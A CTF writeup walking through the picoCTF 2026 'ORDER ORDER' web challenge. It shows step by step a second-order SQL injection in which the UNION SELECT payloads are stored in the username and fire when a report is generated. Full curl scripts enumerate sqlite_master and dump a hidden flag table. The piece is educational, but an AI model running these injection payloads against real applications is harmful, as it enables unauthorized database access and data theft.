> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# picoCTF 2026 ORDER ORDER Writeup: Second-Order SQL Injection
- URL: https://taiwanding.com/en/picoctf-2026-order-order-second-order-sql-injection/
- Published: 2026-09-19T06:36:20.000Z
- Updated: 2026-09-19T06:36:20.000Z
- Description: A full picoCTF 2026 ORDER ORDER writeup on second-order SQL injection: find the storage point (username) and the trigger point (Generate Report), then reason out the SQL step by step to dump the flag.
- Author: Kevin Chen
- Tags: #en, #en-ctf

This is a Web challenge from picoCTF 2026: `ORDER ORDER`.

The challenge description is short:

> Can you try to get the flag from our website. I've prepared my queries everywhere! I think!

When you first see `prepared my queries everywhere`, your instinct is SQL injection. But the real thing worth learning here isn't "throw a `' OR 1=1--` at every input box you see" — it's understanding this:

**Some SQL injection doesn't fire on the spot — it gets stored, and only fires later.**

That's second-order SQL injection.

## Challenge info

- Challenge: ORDER ORDER
- Category: Web Exploitation
- Difficulty: Hard
- Platform: picoCTF 2026
- Challenge link: [https://learn.cylabacademy.org/library/752](https://learn.cylabacademy.org/library/752?ref=taiwanding.com)

I'll write this the way the solve actually went. The point isn't to memorize the final payload — it's to record how I observed, corrected, and confirmed my reasoning at each step along the way.

## What is second-order SQL injection

A regular first-order SQL injection goes like this:

```text
Enter payload -> backend runs it in SQL immediately -> you see the result or error on the spot

```

For example, a login form directly sends:

```sql
' OR 1=1--

```

If the backend concatenates it into SQL right then, you might log in immediately or get an error.

Second-order SQL injection is a bit different:

```text
Stage 1: the payload gets stored in the database
Stage 2: some later feature pulls that data back out and concatenates it into SQL
Stage 3: only now does the vulnerability trigger

```

So the payload may look a lot like ordinary SQLi, but you test it differently. You can't just check whether it blows up at registration time — you also have to find which later feature reuses that data.

In this challenge the "storage point" is `username`.

In this challenge the "trigger point" is `Generate Report`.

## Step 1: Basic recon first

First set the target:

```bash
BASE='http://crystal-peak.picoctf.net:51724'

```

Grab the home page:

```bash
curl -sS -i -c cookies.txt "$BASE/" -o 00_home.http
sed -n '1,220p' 00_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 00_home.http

```

On the home page you can see:

```html
<li><a href="/signup">Sign up</a></li>
<li><a href="/login">Login</a></li>

```

Register a normal account first, then log in and see what features are available:

```bash
USER="u$(date +%s)"
EMAIL="$USER@test.local"
PASS="Passw0rd!"

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" \
  -o 02_signup_post.http

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 03_login_post.http

curl -sS -i -b cookies.txt -c cookies.txt "$BASE/" -o 04_authed_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 04_authed_home.http

```

After logging in you see:

```html
<li><a href="/dashboard">Dashboard</a></li>
<li><a href="/expenses">Expenses</a></li>
<li><a href="/inbox">Inbox</a></li>
<li><a href="/logout">Logout</a></li>

```

Next, look at `/expenses`:

```bash
curl -sS -i -b cookies.txt -c cookies.txt "$BASE/expenses" -o expenses.http
sed -n '1,260p' expenses.http

```

You can see two forms:

```html
<form method="POST" action="/expenses">
  <input id="description" type="text" name="description" required>
  <input id="amount" type="number" step="0.01" name="amount" required>
  <input id="date" type="date" name="date" required>
</form>

<form method="POST" action="/generate_report">
  <button type="submit">Generate Report</button>
</form>

```

At this point we know there are at least two avenues to test:

- the expense fields `description / amount / date`
- `username`, because the report has to know "who the current user is"

## Step 2: Generate a normal report first

Click Generate Report once:

```bash
curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/generate_report" -o 05_report.http
sleep 11

curl -sS -i -b cookies.txt -c cookies.txt "$BASE/inbox" -o 06_inbox.http
grep -Eoi 'href="[^"]+"' 06_inbox.http

```

A download link appears in the Inbox:

```text
/download_report/1

```

Download the CSV:

```bash
curl -sS -L -b cookies.txt "$BASE/download_report/1" -o normal.csv
cat normal.csv

```

Result:

```csv
description,amount,date

```

This output looks empty, but it actually carries one important piece of information:

**The report output has three columns: `description, amount, date`.**

If we want to use `UNION SELECT` later, we'll need to line up three columns too.

## Step 3: How do we know username is the problem

This is the most crucial observation in the whole challenge.

We didn't know from the start that `username` had a second-order injection — we guessed it from the data flow:

```text
The report has to query the current user's expenses
The backend might use username or user_id as the condition
If it concatenates username into SQL, there could be trouble

```

So first register an account whose username contains just a single quote:

```bash
C=quote_test.txt
USER="qt$(date +%s)'"
EMAIL="qt$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o quote_inbox.html
grep -Ei 'failed|error|unrecognized|syntax|download_report|Expense report' quote_inbox.html

```

The result comes back as:

```html
Report generation failed. Cause unrecognized token: "'qt1788089522''"

```

This line is almost the backend telling us directly:

```text
When I generated the report, I took your username and built SQL out of it
And your single quote broke that SQL

```

If the backend safely queried by `user_id`, or used a prepared statement correctly, this error shouldn't appear. So this step isn't about grabbing the flag — it's about confirming:

**username is the storage point, and Generate Report is the trigger point.**

## Step 4: Use a marker to prove we can control the output

Next we go from "able to make SQL throw an error" to "able to control the SQL query result."

At this point I'll drop in a marker.

A marker is a tag we deliberately inject, for example:

```text
VULN

```

It's not a flag, and it's not a special command — it's just there to confirm whether the data flows out the way we intend.

The payload:

```sql
mk123' UNION SELECT 'VULN',123,'2026-01-01'--

```

Full test:

```bash
C=marker.txt
USER="mk$(date +%s)' UNION SELECT 'VULN',123,'2026-01-01'--"
EMAIL="mk$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o marker_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' marker_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o marker.csv
cat marker.csv

```

Result:

```csv
description,amount,date
VULN,123,2026-01-01

```

This result matters.

It means:

```text
The SQL we put into username at registration
actually got executed during Generate Report
and the result was written into the CSV

```

If we imagine the backend SQL like this:

```sql
SELECT description, amount, date
FROM expenses
WHERE username = '<USERNAME>';

```

Then after the payload is injected into username, it becomes:

```sql
SELECT description, amount, date
FROM expenses
WHERE username = 'mk123'
UNION SELECT 'VULN',123,'2026-01-01'--';

```

Three tokens here are key:

- `'`: closes off the original username string
- `UNION SELECT`: appends our own query result after the report's result
- `--`: comments out the tail the backend originally appended

## Step 5: Work out the UNION column count from the CSV columns

The earlier normal report already told us:

```csv
description,amount,date

```

So the original query is probably three columns:

```sql
SELECT description, amount, date
FROM expenses
...

```

The rule for `UNION SELECT` is that both sides must have the same number of columns.

So our payload needs three columns too:

```sql
UNION SELECT 'VULN',123,'2026-01-01'

```

This is why the marker test wasn't written at random:

```text
Column 1: put the text VULN, mapping to description
Column 2: put the number 123, mapping to amount
Column 3: put a date string, mapping to date

```

If the column count is wrong, you usually see something like:

```text
SELECTs to the left and right of UNION do not have the same number of result columns

```

But in this challenge the CSV header conveniently spelled out all three columns for us.

## Step 6: Confirm the database type and enumerate the tables

The error message contained `unrecognized token`, and combined with the Python/Werkzeug stack that's common for these challenges, this looks a lot like SQLite.

SQLite's schema information can be queried from `sqlite_master`:

```bash
C=tables_51724.txt
USER="tb$(date +%s)' UNION SELECT name,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="tb$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o tables_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' tables_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o tables_51724.csv
cat tables_51724.csv

```

Result:

```csv
description,amount,date
aDNyM19uMF9mMTRn,0,2026-01-01
expenses,0,2026-01-01
inbox,0,2026-01-01
reports,0,2026-01-01
sqlite_sequence,0,2026-01-01
users,0,2026-01-01

```

Here we can make an initial judgment:

- `expenses`: normal application table
- `inbox`: normal application table
- `reports`: normal application table
- `users`: normal application table
- `sqlite_sequence`: SQLite's system table for auto-increment
- `aDNyM19uMF9mMTRn`: very suspicious

In CTF challenges, a garbled table name like this is usually not just decoration.

But don't dump it straight away — the safer move is to look at the schema first.

## Step 7: Query the schema and confirm the column names

Query the `CREATE TABLE` for every table:

```bash
C=schema_51724.txt
USER="sc$(date +%s)' UNION SELECT sql,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="sc$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o schema_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' schema_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o schema_51724.csv
cat schema_51724.csv

```

The schema of the suspicious table:

```sql
CREATE TABLE aDNyM19uMF9mMTRn (
  name TEXT PRIMARY KEY,
  value TEXT NOT NULL
)

```

Now we have the full picture:

```text
Suspicious table: aDNyM19uMF9mMTRn
Columns: name, value
Report output column count: 3

```

So in the end we just map `name` and `value` to the report's first two columns and add a date column.

## Step 8: Dump the suspicious table

The payload:

```sql
dp123' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--

```

Full test:

```bash
C=dump_51724.txt
USER="dp$(date +%s)' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--"
EMAIL="dp$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o dump_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' dump_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o dump_51724.csv
cat dump_51724.csv

```

Result:

```csv
description,amount,date
flag,picoCTF{Redacted},2026-01-01

```

Flag:

```text
picoCTF{Redacted}

```

## How we reasoned out the SQL along the way

We didn't pull payloads out of thin air — at each step we asked the website a small question:

```text
How many columns do you have?
Are you SQLite?
What tables do you have?
What columns does your suspicious table have?
How do I get those columns back into the CSV?

```

This is also why the marker matters. If you go straight for the flag from the start, it might work, but you won't learn the reasoning in between. The marker's job is to turn "I think there's a hole here" into "I can prove I control the SQL query result."

## Key takeaways

What I think is most worth taking away from this challenge isn't SQLite syntax — it's this way of thinking:

```text
Find the storage point
Find the trigger point
Use a single quote to confirm the SQL is tainted
Use a marker to confirm the output is controllable
Use schema enumeration to cut down guessing
Only then query the real target

```

Next time you run into this kind of feature, pay special attention to:

- After registering a username, where does the username get displayed or queried again?
- Do product names, order names, project names, or folder names get reused by back-office reports?
- When exporting CSV, PDF, or Excel, does it rebuild SQL?
- Do the admin panel's search, sort, report, and statistics features consume data the user entered earlier?

A lot of the time, the real problem isn't the input box itself — it's the query that runs a few minutes later, a few pages later, or even inside another background worker. That's what makes second-order SQL injection interesting.

It's not a punch straight at the door. You put something into the system first, and only when the system pulls it back out to use it does it turn out that thing changes the meaning of the query.